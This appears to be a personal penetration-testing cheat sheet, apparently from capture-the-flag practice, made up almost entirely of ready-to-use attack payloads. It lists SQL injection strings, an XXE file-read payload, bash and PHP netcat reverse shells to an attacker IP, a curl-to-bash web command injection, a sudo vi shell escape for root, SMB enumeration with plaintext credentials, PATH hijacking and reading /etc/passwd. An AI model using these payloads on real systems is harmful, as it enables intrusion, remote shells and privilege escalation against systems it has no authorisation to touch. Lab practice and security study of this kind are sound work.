Penetration Test

') or ( '1'='1
') or ( '1'=0
admin'||'1==1
1 or 1 = 1 UNION SELECT user

<?xml version = "1.0"?>
  <!DOCTYPE root [<!ENTITY test SYSTEM 'file:///c:/windows/win.ini'>]>
  <order>
    <quantity>1</quantity>
    <item>&test;</item>
    <address>address</address>
  </order>

bash -c "bash -i >& /dev/tcp/{your_IP}/443 0>&1"

<?php system('rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc [ip] [port] > /tmp/f; rm /tmp/f'); ?>

Dysco.php?cmd=curl ${your_IP}:8000/shell.sh|bash

python3 -c 'import pty;pty.spawn("/bin/bash")'

# is `sudo -l`
# User postgres may run the following commands on vaccine:
#     (ALL) /bin/vi /etc/postgresql/11/main/pg_hba.conf

# step 1
vi
:set shell=/bin/sh
:shell

# step 2
sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf
:set shell=/bin/sh
:shell

# windows

# linux
lsof -i -n | egrep '\<ssh\>'

# show smb file
smbmap -R -u "hazard" -p "stealth1agent" -H $ip 
# get user list 
# https://github.com/SecureAuthCorp/impacket/blob/master/examples/lookupsid.py
python lookupsid.py hazard:[email protected]

python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm-256color
export PATH="/tmp:$PATH"; echo $PATH;

whoami
sudo -l
ps aux
id
groups
cat /etc/passwd | grep -v "nologin\|false\|sync"
timeout 5s ...
ss -tul


sudo PATH="/tmp:$PATH" /usr/bin/whoami